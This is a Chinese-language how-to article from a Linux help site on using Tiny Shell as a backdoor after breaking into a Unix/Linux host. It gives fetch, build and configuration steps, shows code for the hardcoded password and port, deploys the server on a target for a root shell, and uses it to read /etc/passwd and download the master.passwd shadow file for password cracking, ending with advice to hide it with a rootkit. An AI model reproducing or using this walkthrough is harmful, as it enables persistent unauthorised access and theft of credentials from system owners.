红联Linux门户
Linux帮助

Unix/Linux系统下轻量级Shell工具

发布时间:2006-04-10 01:12:45来源:红联作者:书童老师
  一,前言

  随着互联网的发展,使用Unix/Linux系统的越来越多,而入侵一台Unix/Linux系统也不再是什么难事了。通常,在入侵成功之后,都会留一个或几个后门,以便再次进入;对于Unix/Linux系统,后门的种类比较多,初级的有修改“.rhosts”文件,复制一个Shell到一个隐藏目录,修改etc/passwd文件加用户等手段。较高级的莫属使用内核模块后门(Rootkit)了,它是Unix/Linux系统下最高级别的后门,也许最具有隐蔽性的,但今天我并不说Rootkit,因为它的使用过于复杂,对没有Unix/Linux系统使用经验的人来说,更是难以驾御。而Tiny Shell作为一款运行于Unix/Linux系统下的轻量级Shell工具,不仅小巧,还支持另外一些不错的功能,具体请看下文。 

  二,应用

  1,Tiny Shell简介

  Tiny Shell是一款轻量级的标准远程Shell工具,可以提供远程执行命令(包括:Rlogin,Telnet,Ssh等)和文件传输功能(上传、下载),支持单字节,完全支持Pseudo-Terminal Pairs(pty/tty)等伪终端。并使用强大的160-bit RC4加密,以躲避嗅探器的检测具备AES-128 + HMAC-SHA1的强大加密和认证。支持FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系统。   

  2,Tiny Shell应用

  测试环境:

  本地:OpenBSD 3.4 IP:192.168.0.40

  目标:FreeBSD 4.9 STABLE IP:192.168.0.20  

  首先下载Tiny Shell,解压缩后修改源代码,以求该工具更能符合我们的要求。

  #fetch http://www.ringz.org/tsh-0.6.tgz

  #tar zxvf tsh-0.6.tgz

  #cd tsh-0.6

  #ls

  ChangeLog README aes.h pel.h sha1.h tsh.h

  Makefile aes.c pel.c sha1.c tsh.c tshd.c

  #vi tsh.h

  char *secret = "replace with your password";

  //连接后门的密码,我修改为dahubaobao。这个后门的主程序是tsh.c,先看看下边的源代码

  if( password == NULL )

   {

   /* 1st try, using the built-in secret key */

  ret = pel_client_init( server, secret );

  if( ret != PEL_SUCCESS )

   {

   close( server );

  /* secret key invalid, so ask for a password */

  password = getpass( "Password: " );

  goto connect;

   }

   }

  //重点在这里:ret = pel_client_init( server, secret );

  把secret变量作为了参数,也就是连接后门所需要的密码。现在知道为什么修改tsh.h了吧。

  

  #define SERVER_PORT 7586

  //后门简听的端口,任意修改

  

  if( argc == 5 && ! strcmp( argv[2], "get" ) )

  {

   action = GET_FILE;

  }

  if( argc == 5 && ! strcmp( argv[2], "put" ) )

  {

   action = PUT_FILE;

  }

  //该后门并没有帮助信息,所以查看这里得知Get为下载,Put为上传。当然,如果你喜欢,可以自行修改。另外,如果你想该后门输出帮助信息,可以自己添加一个Printf语句来输出帮助信息。这里给出一个最简单的方法,我们在不加参数的情况下执行./tsh的时候,会提示gethostbyname failed.,然后查看源代码,找到fprintf( stderr, "gethostbyname failed.\n" );这句代码,聪明的你也许想到了,就是修改gethostbyname failed.为你想要的帮助信息,这样,在执行./tsh的时候,就会自动输出帮助信息了。呵呵,也算一种变相修改吧。下面开始编译源代码。

  #make

  Please specify one of these targets:  

  make linux

  make freebsd

  make openbsd

  make netbsd

  make cygwin

  make sunos

  make irix

  make hpux

  make osf

  #make openbsd

  //根据你的系统做相应的选择,10秒钟就编译好了。

  然后,会在当前目录下生成两个可执行文件,一个客户端,一个服务端,分别为:tsh,tshd。现在将tshd复制到目标系统(FreeBSD),然后执行./tshd完成安装。为了更清楚的表示我使用的环境,所以回到本地执行id命令,得知该用户的UID=1000,是普通用户;现在使用./tsh 192.168.0.20来接连目标主机(为了测试方便,我就不加密码了),好,现在我们获得了一个Root权限的Shell,再使用id命令(注意,这是在目标主机上),可以看到UID=0了,这可是Root权限哦!执行uname ?Ca命令,回显为FreeBSD系统,可见已经成功连接后门并登陆了。另外,该后门还可以在连接的时候插入Shell命令,语法为./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,这条命令的意思是连接192.168.0.20目标主机,接着执行cat etc/passwd命令,这样,目标主机的passwd文件我们就一览无余了。但要注意,使用这种形式并没有登陆目标主机,只是连接目标主机,然后插入一个Shell命令而已。  

  现在我们来看看上传、下载的使用方法。从源代码中知道,上传的关键字为Put,下载的关键字为Get。好,先来看看如何上传文件,执行“./tsh 192.168.0.20 put 文件名 目标主机目录”即可完成上传,但要注意,文件要在当前目录下,也就是和tsh在同一个目录下。我上传的一个back的二进制文件,使用./tsh 192.168.0.20 put back /,这条命令是将back文件上传目标根目录,然后我再使用./tsh 192.168.0.20连接到目标主机,ls查看back是否已经上传到了对方主机,呵呵,还不错吧!在来看下载文件,它的语法为“./tsh 192.168.0.20 get 目标文件 本地目录”,现在我们来获得其最敏感的文件----master.passwd(影子文件,也就是Linux系统下的shadow文件)。执行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思为下载目标主机的master.passwd文件到本地的/home/dahubaobao目录,然后使用ls查看,可以看见已经将对方的master.passwd下载到了本地,再vi master.passwd,哈哈,用户的加密密码近在眼前。提示,FreeBSD的用户密码是采用MD5加密的。  

  小结

  Tiny Shell作为一款小型的Shell工具,丝毫不逊于其他同类的Shell工具,而且支持大部分的Unix/Linux系统,绝对值得一试。当然,这款后门很不隐蔽,我们可以结合Rootkit来加固(Rootkit中也提供Shell工具,但无法和Tiny Shell相比,不信你可以自己试试),Rootkit的使用可以去google找答案,在此就不多说了。
文章评论

共有 0 条评论